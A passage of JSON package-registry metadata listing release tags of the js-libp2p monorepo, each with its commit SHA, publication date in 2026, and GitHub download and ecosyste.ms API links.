/integration-tests-v1.2.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@integration-tests-v1.2.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.6/manifests"},{"name":"identify-v4.1.4","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/identify-v4.1.4","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/identify-v4.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@identify-v4.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/identify-v4.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/identify-v4.1.4/manifests"},{"name":"gossipsub-v15.0.22","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/gossipsub-v15.0.22","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/gossipsub-v15.0.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@gossipsub-v15.0.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v15.0.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v15.0.22/manifests"},{"name":"floodsub-v11.0.20","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/floodsub-v11.0.20","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/floodsub-v11.0.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@floodsub-v11.0.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/floodsub-v11.0.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/floodsub-v11.0.20/manifests"},{"name":"fetch-v4.1.4","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/fetch-v4.1.4","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/fetch-v4.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@fetch-v4.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/fetch-v4.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/fetch-v4.1.4/manifests"},{"name":"echo-v3.1.4","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/echo-v3.1.4","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/echo-v3.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@echo-v3.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/echo-v3.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/echo-v3.1.4/manifests"},{"name":"dcutr-v3.0.19","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/dcutr-v3.0.19","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/dcutr-v3.0.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@dcutr-v3.0.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/dcutr-v3.0.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/dcutr-v3.0.19/manifests"},{"name":"daemon-v6.0.23","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-v6.0.23","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-v6.0.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-v6.0.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.23/manifests"},{"name":"daemon-server-v9.0.23","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-server-v9.0.23","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-server-v9.0.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-server-v9.0.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.23/manifests"},{"name":"daemon-client-v10.0.23","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-client-v10.0.23","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-client-v10.0.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-client-v10.0.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.23/manifests"},{"name":"crypto-v5.1.18","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/crypto-v5.1.18","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/crypto-v5.1.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@crypto-v5.1.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/crypto-v5.1.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/crypto-v5.1.18/manifests"},{"name":"config-v1.1.31","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/config-v1.1.31","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/config-v1.1.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@config-v1.1.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/config-v1.1.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/config-v1.1.31/manifests"},{"name":"circuit-relay-v2-v4.2.4","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/circuit-relay-v2-v4.2.4","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/circuit-relay-v2-v4.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@circuit-relay-v2-v4.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/circuit-relay-v2-v4.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/circuit-relay-v2-v4.2.4/manifests"},{"name":"bootstrap-v12.0.21","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/bootstrap-v12.0.21","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/bootstrap-v12.0.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@bootstrap-v12.0.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/bootstrap-v12.0.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/bootstrap-v12.0.21/manifests"},{"name":"autonat-v3.0.19","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/autonat-v3.0.19","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/autonat-v3.0.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@autonat-v3.0.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v3.0.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v3.0.19/manifests"},{"name":"autonat-v2-v2.0.19","sha":"48d3b8bd4e5fd3d623212a5d4f9d4a5a3d0127b3","kind":"commit","published_at":"2026-05-11T12:30:55.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/autonat-v2-v2.0.19","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/autonat-v2-v2.0.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@autonat-v2-v2.0.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v2-v2.0.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v2-v2.0.19/manifests"},{"name":"webtransport-v6.0.22","sha":"5c1e8ccba1745d760452c3e506008cf7fdbef9cc","kind":"commit","published_at":"2026-05-04T20:25:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webtransport-v6.0.22","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webtransport-v6.0.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webtransport-v6.0.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.22/manifests"},{"name":"webrtc-v6.0.21","sha":"5c1e8ccba1745d760452c3e506008cf7fdbef9cc","kind":"commit","published_at":"2026-05-04T20:25:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webrtc-v6.0.21","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webrtc-v6.0.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webrtc-v6.0.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v6.0.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v6.0.21/manifests"},{"name":"transport-interop-libp2p-main-v1.0.22","sha":"5c1e8ccba1745d760452c3e506008cf7fdbef9cc","kind":"commit","published_at":"2026-05-04T20:25:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/transport-interop-libp2p-main-v1.0.22","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/transport-interop-libp2p-main-v1.0.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@transport-interop-libp2p-main-v1.0.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.22/manifests"},{"name":"mplex-v12.0.20","sha":"5c1e8ccba1745d760452c3e506008cf7fdbef9cc","kind":"commit","published_at":"2026-05-04T20:25:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/mplex-v12.0.20","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/mplex-v12.0.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@mplex-v12.0.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.20/manifests"},{"name":"mdns-v12.0.20","sha":"5c1e8ccba1745d760452c3e506008cf7fdbef9cc","kind":"commit","published_at":"2026-05-04T20:25:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/mdns-v12.0.20","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/mdns-v12.0.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@mdns-v12.0.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mdns-v12.0.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mdns-v12.0.20/manifests"},{"name":"libp2p-v3.2.4","sha":"5c1e8ccba1745d760452c3e506008cf7fdbef9cc","kind":"commit","published_at":"2026-05-04T20:25:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/libp2p-v3.2.4","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/libp2p-v3.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@libp2p-v3.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/libp2p-v3.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/libp2p-v3.2.4/manifests"},{"name":"interop-v14.0.22","sha":"5c1e8ccba1745d760452c3e506008cf7fdbef9cc","kind":"commit","published_at":"2026-05-04T20:25:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interop-v14.0.22","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interop-v14.0.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interop-v14.0.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.22/manifests"},{"name":"interface-compliance-tests-v7.0.20","sha":"5c1e8ccba1745d760452c3e506008cf7fdbef9cc","kind":"commit","published_at":"2026-05-04T20:25:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-compliance-tests-v7.0.20","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-compliance-tests-v7.0.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-compliance-tests-v7.0.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-compliance-tests-v7.0.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-compliance-tests-v7.0.20/manifests"},{"name":"integration-tests-v1.2.5","sha":"5c1e8ccba1745d760452c3e506008cf7fdbef9cc","kind":"commit","published_at":"2026-05-04T20:25:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/integration-tests-v1.2.5","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/integration-tests-v1.2.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@integration-tests-v1.2.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.5/manifests"},{"name":"gossipsub-v15.0.21","sha":"5c1e8ccba1745d760452c3e506008cf7fdbef9cc","kind":"commit","published_at":"2026-05-04T20:25:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/gossipsub-v15.0.21","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/gossipsub-v15.0.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@gossipsub-v15.0.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v15.0.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v15.0.21/manifests"},{"name":"daemon-v6.0.22","sha":"5c1e8ccba1745d760452c3e506008cf7fdbef9cc","kind":"commit","published_at":"2026-05-04T20:25:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-v6.0.22","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-v6.0.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-v6.0.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.22/manifests"},{"name":"daemon-server-v9.0.22","sha":"5c1e8ccba1745d760452c3e506008cf7fdbef9cc","kind":"commit","published_at":"2026-05-04T20:25:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-server-v9.0.22","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-server-v9.0.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-server-v9.0.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.22/manifests"},{"name":"daemon-client-v10.0.22","sha":"5c1e8ccba1745d760452c3e506008cf7fdbef9cc","kind":"commit","published_at":"2026-05-04T20:25:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-client-v10.0.22","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-client-v10.0.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-client-v10.0.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.22/manifests"},{"name":"bootstrap-v12.0.20","sha":"5c1e8ccba1745d760452c3e506008cf7fdbef9cc","kind":"commit","published_at":"2026-05-04T20:25:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/bootstrap-v12.0.20","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/bootstrap-v12.0.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@bootstrap-v12.0.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/bootstrap-v12.0.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/bootstrap-v12.0.20/manifests"},{"name":"webtransport-v6.0.21","sha":"2a19115faa3fb198eea1f4700d81f177ff81e73c","kind":"commit","published_at":"2026-04-25T12:35:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webtransport-v6.0.21","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webtransport-v6.0.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webtransport-v6.0.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.21/manifests"},{"name":"websockets-v10.1.11","sha":"2a19115faa3fb198eea1f4700d81f177ff81e73c","kind":"commit","published_at":"2026-04-25T12:35:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/websockets-v10.1.11","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/websockets-v10.1.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@websockets-v10.1.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/websockets-v10.1.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/websockets-v10.1.11/manifests"},{"name":"webrtc-v6.0.20","sha":"2a19115faa3fb198eea1f4700d81f177ff81e73c","kind":"commit","published_at":"2026-04-25T12:35:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webrtc-v6.0.20","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webrtc-v6.0.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webrtc-v6.0.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v6.0.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v6.0.20/manifests"},{"name":"utils-v7.1.0","sha":"2a19115faa3fb198eea1f4700d81f177ff81e73c","kind":"commit","published_at":"2026-04-25T12:35:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/utils-v7.1.0","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/utils-v7.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@utils-v7.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/utils-v7.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/utils-v7.1.0/manifests"},{"name":"upnp-nat-v4.0.18","sha":"2a19115faa3fb198eea1f4700d81f177ff81e73c","kind":"commit","published_at":"2026-04-25T12:35:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/upnp-nat-v4.0.18","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/upnp-nat-v4.0.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@upnp-nat-v4.0.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/upnp-nat-v4.0.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/upnp-nat-v4.0.18/manifests"},{"name":"transport-interop-libp2p-main-v1.0.21","sha":"2a19115faa3fb198eea1f4700d81f177ff81e73c","kind":"commit","published_at":"2026-04-25T12:35:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/transport-interop-libp2p-main-v1.0.21","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/transport-interop-libp2p-main-v1.0.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@transport-interop-libp2p-main-v1.0.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.21/manifests"},{"name":"tls-v3.1.0","sha":"2a19115faa3fb198eea1f4700d81f177ff81e73c","kind":"commit","published_at":"2026-04-25T12:35:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/tls-v3.1.0","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/tls-v3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@tls-v3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tls-v3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tls-v3.1.0/manifests"},{"name":"tcp-v11.0.18","sha":"2a19115faa3fb198eea1f4700d81f177ff81e73c","kind":"commit","published_at":"2026-04-25T12:35:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/tcp-v11.0.18","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/tcp-v11.0.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@tcp-v11.0.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tcp-v11.0.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tcp-v11.0.18/manifests"},{"name":"prometheus-metrics-v5.0.19","sha":"2a19115faa3fb198eea1f4700d81f177ff81e73c","kind":"commit","published_at":"2026-04-25T12:35:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/prometheus-metrics-v5.0.19","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/prometheus-metrics-v5.0.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@prometheus-metrics-v5.0.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/prometheus-metrics-v5.0.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/prometheus-metrics-v5.0.19/manifests"},{"name":"pnet-v3.0.19","sha":"2a19115faa3fb198eea1f4700d81f177ff81e73c","kind":"commit","published_at":"2026-04-25T12:35:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/pnet-v3.0.19","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/pnet-v3.0.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@pnet-v3.0.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/pnet-v3.0.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/pnet-v3.0.19/manifests"},{"name":"plaintext-v3.0.18","sha":"2a19115faa3fb198eea1f4700d81f177ff81e73c","kind":"commit","published_at":"2026-04-25T12:35:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/plaintext-v3.0.18","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/plaintext-v3.0.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@plaintext-v3.0.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/G